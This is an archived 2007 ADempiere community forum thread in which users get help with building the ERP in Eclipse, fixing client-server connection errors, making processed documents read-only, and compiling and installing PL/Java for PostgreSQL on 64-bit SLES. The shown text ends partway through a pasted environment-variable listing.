I remember when I started I there were problems with the svn server <https://svn.sourceforge.net/svnroot/adempiere>

It would constantly crash out but, as you mentioned, an update will usually ensure it restarted and continued on ok...

It seems this was a Sourceforge server problems and they changed something in their server config. I know access via <https://adempiere.svn.sourceforge.net/svnroot/adempiere> and with this url teh checkout or update never hangs!

colin

2007-03-07 01:55:12 UTC

Hi,

At last and thanks to the hints you gave me, I could check out the whole Adempiere trunk at once from SVN. Suddenly, it succeeded and now it succeeds almost always. Tortoise as I said, works smoothly and quickly.

Then, playing with Eclipse and poking in the sources, I discovered that I could run some build.xml files as "2 Ant build" and it seemed to produce some jar files. (Running them as "1 Ant build" produced errors).

Then, I found in /utils_dev another build.xml with the promising "project name=adempiere" and run it again as "2 Ant build". To my joy, I saw in the console eclipse compiling, copying, deleting, building jars etc. In the end, it copied some zips and tars and told me "BUILD SUCCESSFUL".

My questions:

- 1.- Is this the correct way of compiling and building?
- 2.- what does "1 Ant build" mean?
- 3.- do I have to clean always first?
- 4.- I see some files in /utils_dev. I suppose, with them I can do the cleaning, compiling and building outside eclipse. Am I right?
- 5.- I see, in SVN/Eclipse I can only checkout the whole project, whereas in Tortoise I can update it. There is a way of updating the Adempiere sources in eclipse with SVN?

Then I suppose I can start tomorrow changing the sources and create my "Hallo world". In the remote case I make some mistake and have to debug, do you have any hints I have to consider for debugging?

Thanks for your support.

Mario

2007-03-07 02:02:29 UTC

hi mario,

1. the build.xml in utils_dev is for building of release packages and create local deployment. When inside eclipse, you don't have to use the ant file, just use the build in Eclipse build project command. If you have auto build enabled, then it is just edit and run, no extra action needed.

5. svn update equivalent is eclipse is team -> update or team -> synchronized. You can access the option by right clicking on the project folder when inside the java perspective.

Regards,
Low

2007-03-17 01:42:23 UTC

I get no problem after creating adempiere development environment (version 3.1.4) in Eclipse. Just changing my java development environment.... and it works!!!!

2007-03-25 18:05:48 UTC

Hi,

First, the (very indeed) good news: with windows XP and Linux, I could start Adempiere 3.1.5 from Eclipse 3.2.2, set a breakpoint and stop the program at Adempiere.main(). So I have become a potential Adempiere developer! It is a long way, but I jumped this obstacle.

I changed the Wiki

(http://www.adempiere.com/wiki/index.php/Create_your_ADempiere_development_environment) with the tips you gave me and things I considered worthwhile for novices like me. If you give it a glance, correct errors and/or complete the documentation, it would be great.

Funny enough, revisiting red1's documents, I noticed that his documents contain all information needed (thus: RTFM is true!). But, it is no waste to describe the same facts differently at different places.

I have a little question

On Linux Enterprise 10.1, Eclipse 3.2.2, I create a project:

- I downloaded the whole trunk at once. AFAICS, everything's OK
 - when I create a new Eclipse project (file->new->project->java project), select "create project from existing source", and go to the Adempiere directory, I cannot check the entries like "Adempiere/base/src", "Adempiere/client/src" etc. in the tab "order and export". I can move them up and down, but not check or uncheck them. On the other hand, all jar files like "activation.jar-Adempiere/tools/lib" are selectable. In XP, I could change the order and check the entries.
 - If I do not care, finish creating the project, I can run/debug Adempiere without errors ("build automatically" is set).
 - I expected to define the build order prior to running/debugging Adempiere. So I am very surprised it works in such a way.
- > Is everything working by coincidence or is it the way it should be?

Tnnsks and best regards,
Mario

2007-03-26 15:26:22 UTC

Mario,
it all works because there are .project & .classpath files in the trunk which do the setup.

colin

2007-05-10 19:05:58 UTC

Hello,

Question 1

I found out that when I select in Eclipse the file RUN_Build.sh of the dev_utils package, I can not read it though is it possible to execute it (run in Eclipse jargon). This way, I get the same results (at least, the same messages) as if I execute it in the console.

Do both ways yield the same results? If not, what are the differences?

Question 2

When -I again in Eclipse- select the file build.xml of the dev_utils package, and run it with ANT, it seems also to build Adempiere, apparently without clean.
Is it true? If not, what are the differences?

Question 3

What is the relation between RUN_Build.sh and buils.xml? There surely is one, but I do not see it.

With the answers, I will update the Wiki section.

Thanks
Mario Calderón

2007-05-10 20:39:30 UTC

Hi Mario

Q1. Yeah by default it will try and run the script but you can right click and select "open with" and then "text editor" you should be able to read and edit the file.

Q2. Yes it does build without a clean .. I think this is intentional to speed up the process. By default Eclipse is continously compiling the project as you change code. I did have a

issue recently though when the project version changed... this resulted in multiple adempiere_31x.zip files (for the different versions) which was resulting in different versions deployed for the server than the client ... a manual clean resolved the issue.

Q3. The build.xml is new to adempiere. In the old Compiere method you would set create a myDevEnv.sh/bat and use the RUN_Build script ... but there were two files to maintain a .sh & .bat ... with a single build.xml ANT can be used on whatever system ... windows, linux, OS/X whatever!

hope that helps some

colin

2007-05-10 22:51:26 UTC

Hi,

thanks Colin for the swift answer.

I added my interpretation of Colin's comments to the Wiki page "Create your ADempiere development environment", section "Compile ADempiere sources" (http://www.adempiere.com/wiki/index.php/Create_your_ADempiere_development_environment).

If you give it a glance you might correct possible mistakes and complete the information.

Best regards,
Mario

2007-05-10 03:52:50 UTC

Hi

When we run ADdempiere from eclipse, we get the following error message. After that system works well. What should be checked ?

Message Begin :

```
-----> CConnection.queryAppsServerInfo: jnp://TECS04:1099
- javax.naming.CommunicationException: Receive timed out [Root exception is
java.net.SocketTimeoutException: Receive timed out]
- {java.naming.provider.url=jnp://TECS04:1099,
java.naming.factory.initial=org.jnp.interfaces.NamingContextFactory,
jnp.discoveryTimeout=5000, jnp.timeout=5000,
java.naming.factory.url.pkgs=org.jboss.naming.client, jnp.sotimeout=5000} [11]
```

Message End

Regards

Sam24368

2007-05-11 00:36:36 UTC

> -----> CConnection.queryAppsServerInfo: <jnp://TECS04:1099>
> What should be checked ?

Hi Sam, possibilities to check:

- Firewall closing 1099 port (or closing other needed jboss ports)
- Your DNS system not resolving TECS04 hostname
- Your server installed with a different name than TECS04 on RUN_setup

Regards,

Carlos Ruiz - globalqss
<http://globalqss.com>

2007-05-11 06:11:33 UTC

or the Server is not started

colin

2007-05-08 11:32:14 UTC

Hi,

I have implemented a new window with document action button, but when the document is completed and closed the record is still updatable. my question is how to make it read only when docstatus is closed or completed like what happens in other standard documents (orders ect) so as it could not be modified after it is processed. I tried to do it with callout approach but i think it is not an elegant approach. Any idea ?

2007-05-08 11:40:51 UTC

Hi,

basically at the end of completeIt() method you should have something like:

```
public String completeIt() {  
.....  
m_processMsg = info.toString().trim();
```



```
setProcessed(true); // <--- this makes the record readonly!!!
setDocAction(DOCACTION_Close);
return DocAction.STATUS_Completed;
}
```

I suppose your model class is implementing DocAction interface.

Best regards,
Teo Sarca

2007-05-08 18:44:36 UTC

Thanks Teo,

I have thes lines !
>>setProcessed(true); // <--- this makes the record readonly!!!
in my case it does not do that

2007-05-08 18:57:01 UTC

Oops I forgot to tell you that my model class is implementing DocAction interface and the complete button the job. just remains the read only issue !!
What is used for the yes-no Processing field ? I also set it to true with no effect.

2007-05-08 19:15:29 UTC

Do you have columns marked as "Always updateable" ??
They don't take account of processed flag.

Regards,

Carlos ruiz

2007-05-08 19:28:03 UTC

>>Do you have columns marked as "Always updateable" ??
The columns are set to "updateable"

2007-05-09 11:40:55 UTC

Any idea ?
Should have I a beforeSave afterSave method in my model class fo that to work ?

2007-05-10 01:16:55 UTC

Hi,

I tried the setUpdateable(false) from extended from the PO.java, this method is supposed to make all fields read only but in my case it has no effect. any idea ?

2007-05-11 00:28:48 UTC

Perhapas it could submitted as fix bug request.

Abstract : new window based on new table with model class extending the table generated class and implementing docation interface. the complete function and the report work fine the document statuts become closed, the processed flag is set to processed just the fields remain updateable.
the fields are set to "updateable" not to "always updateable"

2007-05-11 00:58:08 UTC

Is the processed field defined on the tab?

Regards,

Carlos Ruiz

2007-05-11 10:22:34 UTC

Hi,

Thanks Carlos you got it !!! it is that ! i have set it in the database table and in the code but not on the tab.

2007-02-16 14:09:07 UTC

Hi,

I have a big problem.I installed adempiere and evertying is fine when Adempiere client application and adempiere server (Adempiere 3.1.4) are on same machine.But if client and server are on different machines than Adempiers shows error dialog: "Server is not active".

Any ideas?

thanks in advance.

2007-02-16 14:41:15 UTC

aduser:

It is quite hard to help without more details about your installation, OS where adempiere

is installed? OS of the client trying to connect to Adempiere Server, etc. database used?

Usually this kind of problems are related to firewalls, dns missconfiguration, oracle listener issues, postgresql privileges.

Regards

2007-02-16 14:42:32 UTC

Hi,

Please take a look here <http://adempiere.com/wiki/index.php/InstallClient>
There you can found some details.

Regards,

Alejandro

2007-02-16 15:22:20 UTC

Here are some details of my Adempiere configuration:

Adempiere server OS: Linux
Oracle OS: Linux
Adempiere client OS: Windows XP

Adempiere server and Oracle are on the same machine.

I can access to Adempiere database with Adempiere client(I'm using Adempiere without server)
I can even access to server using web port(Adempiere Application Home poage)

2007-05-14 10:57:57 UTC

Hi,

I have had similar problems and for me, it turned out to be a DNS issue.

Server:
* Fedore Core 3
* Adempiere 3.1.5
* Postgresql database

Client:
* Windows 2000
* Starting the client via Webstart from my Adempiere server's webpage
* I use an IP address for the application server

* The client PC's DNS resolver doesn't know the IP address and it's not in the local hosts file

This results in a "Server is not active" error message.

When I add the IP address of the application server to the hosts file in ...\\system32\\Drivers\\etc\\

It suddenly starts working!

So apparently, the Adempiere server's address has to be resolvable. This means the client PC should find this address either in DNS or in its local hosts file.

I don't understand why this is required though. Anybody can shed a light on this ?

Thanks.

Geert

2007-05-12 01:02:43 UTC

Hello,

I want to debug the process which is started by the "Complete" button in the "Invoice(Vendor)" window. Generally, I want to debug processes.

What I did:

- In the AD definition of the Invoice window, the Complete button defines "Process_Invoice" as the process to be called. Still in the AD, I opened the window for the workflow definitions but neither way I found any hint to which class or method the workflow is started with.

- In the Wiki Manual page there are some indications of classes - windows. I started Eclipse, opened some classes like WFProcessManage, WFActivityManage and WorkflowValidate, set many breakpoints, but did not manage to see the program stop at any of them.

My questions:

- 1.- Does anybody know how to find in the AD the class or method which is executed by a process?
- 2.- If the AD does not house such definition, does anybody know how processes are executed (the class or method)?

Thanks and best regards,
Mario Calderon

2007-05-12 03:12:58 UTC

- > My questions:
- > 1.- Does anybody know how to find in the AD the class or method which
- > is executed by a process?
- > 2.- If the AD does not house such definition, does anybody know how
- > processes are executed (the class or method)?

Hi Mario, in the case you looking for debug MInvoice.completeIt method.

Every document has standard methods completeIt, prepareIt, reverseIt, closeIt, voidIt, etc.

They are implementing the interface defined in DocAction.

Regards,

Carlos Ruiz - globalqss

<http://globalqss.com>

2007-05-12 10:17:47 UTC

In addition to that - to find the class that is executed for normal processes you have to login as System Administrator and open the Report&Process window. Every process has Classname (full qualified) or (DB) Procedure defined here.

For server side debugging (accounting) see this

post: https://sourceforge.net/forum/message.php?msg_id=4261495

Best regards,

Karsten

2007-05-14 18:00:40 UTC

Hello,

Thanks for the tips. I am single-stepping up and down the workflow sources. It is really complicated.

An additional question to Karsten's remarks: where do I find the Class when it is not defined in the AD?

Best regards,

Mario Calderon

2007-05-14 18:20:49 UTC

Hi Mario,

as far as I know there are only a few cases where the Class is not defined in the AD:

1. Document workflow - when you prepare/complete/close a document the prepareIt/completeIt/closeIt methods of the corresponding model classes are executed (if you complete an order it is org.compiere.model.MOrder -> completeIt())
2. Posting (server side) - org.compiere.acct.Doc_* classes they all extend the Doc.java and on posting the Doc -> post() method is executed. It calls the loadDocumentDetails () of the Doc_* classes

Regards,
Karsten

2007-05-14 21:06:42 UTC

Hi,

thanks Karsten for your valuable remarks.

See you in Berlin
Mario Calderon

2007-05-01 03:02:24 UTC

Hi!

Could someone tell me how to compile pljava from source, step by step? My environment is: SLES10 64bit, Postgresql8.1 (rpm), BEA Jrockit (Java). Thanks!

Regards,

Terence

2007-05-01 09:42:59 UTC

Hi Terence,

The only guide is for PL/Java on OpenSolaris using PostgreSQL-8.2.3 (http://www.adempiere.com/wiki/index.php/How_to_Run_ADempiere_on_OpenSolaris) It might be of some help. Go ahead and if you encounter problems ask in PL/Java forums or here.

Warm regards,
Bahman

2007-05-03 11:58:37 UTC

I am sorry! Could someone tell me the steps? I can't figure it out. I have read the wiki and post in pljava's mailing list.

2007-05-03 18:46:57 UTC

Hi Terence,

Please download the pl/java source (.tar.gz) and look for the documentation inside.

Regards,

Carlos Ruiz

2007-05-04 02:38:46 UTC

The exact instructions will vary with system. Here, from my RPM spec file, is how to build and install for a RedHat EL4 system:

BuildPrereq: jdk >= 1.5, postgresql >= 8.0.3, gcc

Preparation:

extract tarball into a directory

```
%build
make
```

```
%install
```

```
# set JAVA_HOME and RPM_BUILD_ROOT
```

```
mkdir -p $RPM_BUILD_ROOT/usr/share/pgsql
```

```
mkdir -p $RPM_BUILD_ROOT/usr/lib/pgsql
```

```
mkdir -p $RPM_BUILD_ROOT/etc/ld.so.conf.d
```

```
install -m 644 build/pljava.jar $RPM_BUILD_ROOT/usr/share/pgsql
```

```
install -m 644 build/deploy.jar $RPM_BUILD_ROOT/usr/share/pgsql
```

```
install -m 755 build/objs/pljava.so $RPM_BUILD_ROOT/usr/lib/pgsql
```

```
cat >$RPM_BUILD_ROOT/etc/ld.so.conf.d/pljava-i386.conf <<EOF
```

```
$JAVA_HOME/jre/lib/i386
```

```
$JAVA_HOME/jre/lib/i386/client
```

```
$JAVA_HOME/jre/lib/i386/native_threads
```

```
EOF
```

2007-05-05 05:20:09 UTC

Sorry! I still don't understand, and I give up and use Postgresql8.1 and use pljava binary. Now I have another issue, I have got "Ident authentication failed" Exception when installing pljava, how do I solve it? I have either tried using root or postgres.

```
banana:~ # export JAVA_HOME=/usr/local/bin/jrockit-R27.2.0-jdk1.5.0_10
```

```
banana:~ # export PATH=$PATH:/usr/bin:$JAVA_HOME/bin
```

```
banana:~ # export LD_LIBRARY_PATH=/usr/lib64:$JAVA_HOME/jre/lib/amd64
```

```
banana:~ # java -version
```

```
java version "1.5.0_10"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_10-b03)
BEA JRockit(R) (build R27.2.0-131-78843-1.5.0_10-20070320-1507-linux-x86_64,
compiled mode)
banana:~ # java -cp /opt/pljava/deploy.jar:/usr/share/pgsql/postgresql-8.1-404.jdbc3.jar
org.postgresql.pljava.deploy.Deployer -install -user adempiere -database adempiere
org.postgresql.util.PSQLException: FATAL: Ident authentication failed for user
"adempiere"
at
org.postgresql.core.v3.ConnectionFactoryImpl.doAuthentication(ConnectionFactoryImpl
.java:275)
at
org.postgresql.core.v3.ConnectionFactoryImpl.openConnectionImpl(ConnectionFactoryI
mpl.java:94)
at org.postgresql.core.ConnectionFactory.openConnection(ConnectionFactory.java:65)
at
org.postgresql.jdbc2.AbstractJdbc2Connection.<init>(AbstractJdbc2Connection.java:116
)
at
org.postgresql.jdbc3.AbstractJdbc3Connection.<init>(AbstractJdbc3Connection.java:30)
at org.postgresql.jdbc3.Jdbc3Connection.<init>(Jdbc3Connection.java:24)
at org.postgresql.Driver.makeConnection(Driver.java:369)
at org.postgresql.Driver.connect(Driver.java:245)
at java.sql.DriverManager.getConnection(DriverManager.java:525)
at java.sql.DriverManager.getConnection(DriverManager.java:171)
at org.postgresql.pljava.deploy.Deployer.main(Deployer.java:252)
banana:~ # su postgres
postgres@banana:/root> cd /
postgres@banana:/> java -cp /opt/pljava/deploy.jar:/usr/share/pgsql/postgresql-8.1-
404.jdbc3.jar org.postgresql.pljava.deploy.Deployer -install -user adempiere -database
adempiere
org.postgresql.util.PSQLException: FATAL: Ident authentication failed for user
"adempiere"
at
org.postgresql.core.v3.ConnectionFactoryImpl.doAuthentication(ConnectionFactoryImpl
.java:275)
at
org.postgresql.core.v3.ConnectionFactoryImpl.openConnectionImpl(ConnectionFactoryI
mpl.java:94)
at org.postgresql.core.ConnectionFactory.openConnection(ConnectionFactory.java:65)
at
org.postgresql.jdbc2.AbstractJdbc2Connection.<init>(AbstractJdbc2Connection.java:116
)
at
org.postgresql.jdbc3.AbstractJdbc3Connection.<init>(AbstractJdbc3Connection.java:30)
at org.postgresql.jdbc3.Jdbc3Connection.<init>(Jdbc3Connection.java:24)
```



```
at org.postgresql.Driver.makeConnection(Driver.java:369)
at org.postgresql.Driver.connect(Driver.java:245)
at java.sql.DriverManager.getConnection(DriverManager.java:525)
at java.sql.DriverManager.getConnection(DriverManager.java:171)
at org.postgresql.pljava.deploy.Deployer.main(Deployer.java:252)
postgres@banana:~/> exit
exit
banana:~ # java -cp /opt/pljava/deploy.jar:/usr/share/pgsql/postgresql-8.1-404.jdbc3.jar
org.postgresql.pljava.deploy.Deployer -install org.postgresql.util.PSQLException:
FATAL: Ident authentication failed for user "root"
at
org.postgresql.core.v3.ConnectionFactoryImpl.doAuthentication(ConnectionFactoryImpl
.java:275)
at
org.postgresql.core.v3.ConnectionFactoryImpl.openConnectionImpl(ConnectionFactoryI
mpl.java:94)
at org.postgresql.core.ConnectionFactory.openConnection(ConnectionFactory.java:65)
at
org.postgresql.jdbc2.AbstractJdbc2Connection.<init>(AbstractJdbc2Connection.java:116
)
at
org.postgresql.jdbc3.AbstractJdbc3Connection.<init>(AbstractJdbc3Connection.java:30)
at org.postgresql.jdbc3.Jdbc3Connection.<init>(Jdbc3Connection.java:24)
at org.postgresql.Driver.makeConnection(Driver.java:369)
at org.postgresql.Driver.connect(Driver.java:245)
at java.sql.DriverManager.getConnection(DriverManager.java:525)
at java.sql.DriverManager.getConnection(DriverManager.java:171)
at org.postgresql.pljava.deploy.Deployer.main(Deployer.java:252)
banana:~ #
```

2007-05-05 05:43:55 UTC

Hello Terence,

It looks to me that 'pg_hba.conf' does not allow 'adempiere' user to connect to the database 'adempiere'. Here is my own pg_hba.conf:

```
# "local" is for Unix domain socket connections only
local all all md5
host all all 127.0.0.1/32 md5
# IPv4 local connections:
host adempiere_trunk all 192.168.0.0/24 md5
host libero_trunk all 192.168.0.62/32 md5
host postgres postgres 192.168.0.62/32 md5
host template1 postgres 192.168.0.62/32 md5
host adempiere320 all 192.168.0.62/24 md5
# IPv6 local connections:
```

```
#host all all ::1/128 trust
```

The 2nd and 3rd lines determine that everyone trying to connect to any database from localhost should be authenticated using a password. Change the 'md5' to 'trust' -in both lines- and you should be able to login without password.

> Sorry! I still don't understand, and I give up
> and use Postgresql8.1 and use pljava binary.
What is your exact problem? Did you receive errors or you just didn't get the overall procedure? I'd be glad if I could help you arrange the Pg8.2.x and PL/Java.

Warm regards,
Bahman

2007-05-05 06:22:10 UTC

hi,

you need to edit the pg_hba.conf file, replace 'ident sameuser' with 'md5'

Regards,
Low

2007-05-06 03:42:55 UTC

Hi Stuart,

Sorry that I have no computer background.
I have several errors, 1)pg_config 2)pljava.so is missing.
I extract the source tarball files to the Desktop.

Could I run 'make' again and again???

I have the following output:

```
banana:~/Desktop # cd pljava-1.3.0
banana:~/Desktop/pljava-1.3.0 # ls
.cdtproject .externalToolBuilders .settings Makefile fixes src
.classpath .project COPYRIGHT docs packaging
banana:~/Desktop/pljava-1.3.0 # make
make: pg_config: Command not found
make[1]: Entering directory `/root/Desktop/pljava-1.3.0/build/classes/pljava'
javac -source 1.4 -target 1.4 -d . <java sources>
jar cf /root/Desktop/pljava-1.3.0/build/pljava.jar .
javah -classpath . -d /root/Desktop/pljava-1.3.0/build/jni <jni classes>
make[1]: Leaving directory `/root/Desktop/pljava-1.3.0/build/classes/pljava'
```

```

make[1]: Entering directory `/root/Desktop/pljava-1.3.0/build/classes/ deploy'
javac -source 1.4 -target 1.4 -d . <java sources>
jar cmf /root/Desktop/pljava-1.3.0/src/java/ deploy/META-INF/manifest.txt /root/D
esktop/pljava-1.3.0/build/ deploy.jar .
make[1]: Leaving directory `/root/Desktop/pljava-1.3.0/build/classes/ deploy'
make[1]: Entering directory `/root/Desktop/pljava-1.3.0/build/ objs'
/root/Desktop/pljava-1.3.0/src/C/pljava/Makefile:27: no file name for `include'
make[1]: Nothing to be done for `build_ all'.
make[1]: Leaving directory `/root/Desktop/pljava-1.3.0/build/ objs'
make[1]: Entering directory `/root/Desktop/pljava-1.3.0/build/ classes/examples'
javac -source 1.4 -target 1.4 -d . -classpath /root/Desktop/pljava-1.3.0/build/c
lasses/pljava <java sources>
jar cmf /root/Desktop/pljava-1.3.0/src/java/ examples/ deployment/ examples.manifes t
/root/Desktop/pljava-1.3.0/build/ examples.jar . \
-C /root/Desktop/pljava-1.3.0/src/java/ examples deployment/ examples. ddr \
-C /root/Desktop/pljava-1.3.0/src/java/ examples org/postgresql/pljava/ example/ ex
ample. properties
make[1]: Leaving directory `/root/Desktop/pljava-1.3.0/build/ classes/examples'
banana:~/Desktop/pljava-1.3.0 # install -m 644 build.pljava.jar
install: missing destination file operand after `build.pljava.jar'
Try `install --help' for more information.
banana:~/Desktop/pljava-1.3.0 # install --help
Usage: install [OPTION]... [-T] SOURCE DEST
or: install [OPTION]... SOURCE... DIRECTORY
or: install [OPTION]... -t DIRECTORY SOURCE...
or: install [OPTION]... -d DIRECTORY...
In the first three forms, copy SOURCE to DEST or multiple SOURCE(s) to
the existing DIRECTORY, while setting permission modes and owner/group.
In the 4th form, create all components of the given DIRECTORY(ies).

```

Mandatory arguments to long options are mandatory for short options too.

```

--backup[=CONTROL] make a backup of each existing destination file
-b like --backup but does not accept an argument
-c (ignored)
-d, --directory treat all arguments as directory names; create all
components of the specified directories
-D create all leading components of DEST except the last,
then copy SOURCE to DEST
-g, --group=GROUP set group ownership, instead of process' current group
-m, --mode=MODE set permission mode (as in chmod), instead of rwxr-xr-x
-o, --owner=OWNER set ownership (super-user only)
-p, --preserve-timestamps apply access/modification times of SOURCE files
to corresponding destination files
-s, --strip strip symbol tables
-S, --suffix=SUFFIX override the usual backup suffix
-t, --target-directory=DIRECTORY copy all SOURCE arguments into DIRECTORY

```

-T, --no-target-directory treat DEST as a normal file
-v, --verbose print the name of each directory as it is created
--help display this help and exit
--version output version information and exit

The backup suffix is '~', unless set with --suffix or SIMPLE_BACKUP_SUFFIX.
The version control method may be selected via the --backup option or through
the VERSION_CONTROL environment variable. Here are the values:

none, off never make backups (even if --backup is given)
numbered, t make numbered backups
existing, nil numbered if numbered backups exist, simple otherwise
simple, never always make simple backups

Report bugs to <bug-coreutils@gnu.org>.

```
banana:~/Desktop/pljava-1.3.0 # install -m 644 build/pljava.jar /usr/share/pgsql  
banana:~/Desktop/pljava-1.3.0 # install -m 644 build/deploy.jar /usr/share/pgsql  
banana:~/Desktop/pljava-1.3.0 # install -m 755 build/objs/pljava.so /usr/lib/pgsql  
install: cannot stat `build/objs/pljava.so': No such file or directory
```

Regards,

Terence

2007-05-06 04:45:06 UTC

Terence,

```
> make: pg_config: Command not found  
As it seems to me, the PG binaries are not in your path.  
This may help:  
$ export PATH=$PATH:PATH_TO_PGSQL_BINARIES
```

Warm regards,
Bahman

2007-05-07 03:18:13 UTC

Hi Bahman,

My real problem is that I don't get the overall procedure. Now, I list it , and please correct
me, and may be a dummy's guide for others:

Since I am using SLES10 64 bit, install Java using BEA Jrocket5.0 regarding to Carlos's
suggestion

http://sourceforge.net/forum/message.php?msg_id=4254604

run the bin file, install into /usr/local/bin/jrocket-R27.2.0-jdk1.5.0_10

link with:

```
# ln -s /usr/local/bin/jrockit-R27.2.0-jdk1.5.0_10/bin/java /usr/bin/java
```

check it by running:

```
#java -version
```

next install Postgresql8.1.x rpm offered by SLES:

Postgresql-server, Postgresql-devel is required.

```
# /etc/init.d/postgresql start
```

```
# su postgres
```

```
# createuser adempiere
```

then create database adempiere, owner adempiere with unicode

```
# createdb -O adempiere adempiere -E utf8
```

since no rpm of PL/Java for 64bit, download the source

from http://pgfoundry.org/frs/?group_id=1000038

extract the tarball to ??? directory, please clarify!!!

then regarding to Stuart Gathman's instruction,:

```
# export JAVA_HOME=/usr/local/bin/jrockit-R27.2.0-jdk1.6.0_10
```

```
# make
```

```
# mkdir -p $RPM_BUILD_ROOT/usr/share/pgsql
```

```
# mkdir -p $RPM_BUILD_ROOT/usr/lib/pgsql
```

```
# mkdir -p $RPM_BUILD_ROOT/etc/ld.so.conf.d
```

```
# install -m 644 build/pljava.jar $RPM_BUILD_ROOT/usr/share/pgsql
```

```
# install -m 644 build/deploy.jar $RPM_BUILD_ROOT/usr/share/pgsql
```

```
# install -m 755 build/objs/pljava.so $RPM_BUILD_ROOT/usr/lib/pgsql
```

```
# cat >$RPM_BUILD_ROOT/etc/ld.so.conf.d/pljava-i386.conf <<EOF (pljava-i386.conf  
??? 64bit, please clarify!!!)
```

```
$JAVA_HOME/jre/lib/i386 (not applicable, should be /jre/lib/amd64 ???)
```

```
$JAVA_HOME/jre/lib/i386/client (no /client directory, please clarify!!!)
```

```
$JAVA_HOME/jre/lib/i386/native_threads (should be /jre/lib/amd64/native_threads)
```

```
EOF
```

then modify postgresql.conf in /usr/share/pgsql:

```
custom_variable_classes = 'pljava'
```

```
pljava.classpath = '/usr/share/pgsql/pljava.jar'
```

```
dynamic_library_path = '???/pljava' (please clarify, but since Stuart's instruction to install  
in spread, there is an error when running install script say that there is no pljava file or  
directory, please clarify!!!)
```

then install pljava:

```
# java -cp /usr/share/pgsql/deploy.jar:/usr/share/postgresql-8.1-400.jdbc3.jar
```

org.postgresql.pljava.deploy.Deployer -install -user adempiere -database adempiere

Regards,

Terence Ng

2007-05-08 09:00:10 UTC

Hi Terence,

You've done the correct procedure except some small mistakes:

```
> # cat >${RPM_BUILD_ROOT}/etc/ld.so.conf.d/pljava-i386.conf
```

```
> <<EOF (pljava-i386.conf ??? 64bit, please clarify!!!)
```

I'm using Fedora 5 (i386) and I use /etc/ld.so.conf.d/postgresql.conf instead of pljava-i386.conf.

```
> $JAVA_HOME/jre/lib/i386 (not applicable, should be /jre/lib/amd64 ???)
```

```
> $JAVA_HOME/jre/lib/i386/client (no /client directory, please clarify!!!)
```

I haven't worked with 64bit system but apparently it should be /amd64. Have you tried it?

Hope it helps you solve the problem :-)

Warm regards,

Bahman

2007-05-09 10:00:11 UTC

Hi Bahman,

I am sorry! I still cannot solve the problem, error comes out when installing PLJAVA, I have listed all links, what did I miss:

```
banana:~/Desktop/pljava-1.3.0 # java -cp
```

```
/usr/share/pgsql/deploy.jar:/usr/share/pgsql/postgresql-8.1-
```

```
404.jdbc3.jar:/usr/lib/pgsql/pljava.so
```

```
org.postgresql.pljava.deploy.Deployer:/usr/share/pgsql/pljava.jar -install -user adempiere  
-database adempiere Exception in thread "Main Thread"
```

```
java.lang.NoClassDefFoundError:
```

```
org/postgresql/pljava/deploy/Deployer:/usr/share/pgsql/pljava.jar
```

```
banana:~/Desktop/pljava-1.3.0 # java -cp
```

```
/usr/share/pgsql/deploy.jar:/usr/share/pgsql/postgresql-8.1-
```

```
404.jdbc3.jar:/usr/lib/pgsql/pljava.so:/usr/share/pgsql/pljava.jar
```

```
org.postgresql.pljava.deploy.Deployer -install -user adempiere -database adempiere
```

```
org.postgresql.util.PSQLException: ERROR: could not access file "pljava": No such file  
or directory
```

```
at
```

```
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1512)
at
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1297)
)
at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:188)
at
org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:430)
at
org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:332)
at
org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:324)
at org.postgresql.pljava.deploy.Deployer.initJavaHandlers(Deployer.java:474)
at org.postgresql.pljava.deploy.Deployer.main(Deployer.java:269)
banana:~/Desktop/pljava-1.3.0 #
```

Regards,

Terence

2007-05-09 13:44:54 UTC

Hello Terence,

```
> ERROR: could not access file "pljava": No such file or directory
As far as I know, this error pops up when system is not configured to find pljava.so.
Besides ld.config.so, you can solve it at command line by:
$ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:PATH_TO_PLJAVA.SO
```

Hope you can solve your problem with this trick :-)

Warm regards,
Bahman

2007-05-09 16:26:54 UTC

Hi Bahman,

I still cannot solve the problem. I also put the PATH_TO_PLJAVA.SO and PATH_TO_PLJAVA.JAR into /etc/ld.so.conf.d and export LD_LIBRARY_PATH. I extract the pljava source to /root/Desktop, is this matter? In good practise, where should it place?

Regards,

Terence Ng

2007-05-11 01:21:43 UTC

Another question, I try to install again by run 'make install', why deploy.jar is missing?
And the files are installed in '/usr/lib64/postgresql' why?

I have not solved the error to find pljava file or directory when run install pljava???

```
banana:~/Desktop/pljava-1.3.0 # make install
make[1]: Entering directory `/root/Desktop/pljava-1.3.0/build/objs'
/bin/sh /usr/lib64/postgresql/pgxs/src/makefiles/../../config/install-sh -c -m 755 pljava.so
/usr/lib64/postgresql/pljava.so
/bin/sh /usr/lib64/postgresql/pgxs/src/makefiles/../../config/install-sh -c -m 644
../pljava.jar /usr/lib64/postgresql
make[1]: Leaving directory `/root/Desktop/pljava-1.3.0/build/objs'
banana:~/Desktop/pljava-1.3.0 #
```

Regards,

Terence

2007-05-12 10:29:19 UTC

Hi Terence,

I can't figure out what's going on exactly on your PC, therefore please copy-paste the output of the following commands here:

```
$ env
$ ldd PATH_TO_PLJAVA/pljava.so
$ pg_config
```

And please specify the PG version you are using -I know you did so, but I'm too lazy to check out :-)

Warm regards,
Bahman

PS: By the way, I don't know if it makes sense but have you ever tried to run the make and install process by a non-root user?

2007-05-14 03:02:06 UTC

Hi Bahman,

Thanks very much for your help. Enclosed please find the output, and postgresql version is 8.1.9, pljava is 1.3.0:


```
banana:/opt/pljava-1.3.0 # env
LESSKEY=/etc/lesskey.bin
NNTPSERVER=news
INFODIR=/usr/local/info:/usr/share/info:/usr/info
MANPATH=/usr/share/man:/usr/local/man:/usr/X11R6/man:/opt/gnome/share/man
HOSTNAME=banana
GNOME2_PATH=/usr/local:/opt/gnome:/usr
XKEYSYMDB=/usr/X11R6/lib/X11/XKeysymDB
GPG_AGENT_INFO=/tmp/gpg-huEU1j/S.gpg-agent:4053:1
DESKTOP_STARTUP_ID=
HOST=banana
SHELL=/bin/bash
TERM=xterm
PROFILEREAD=true
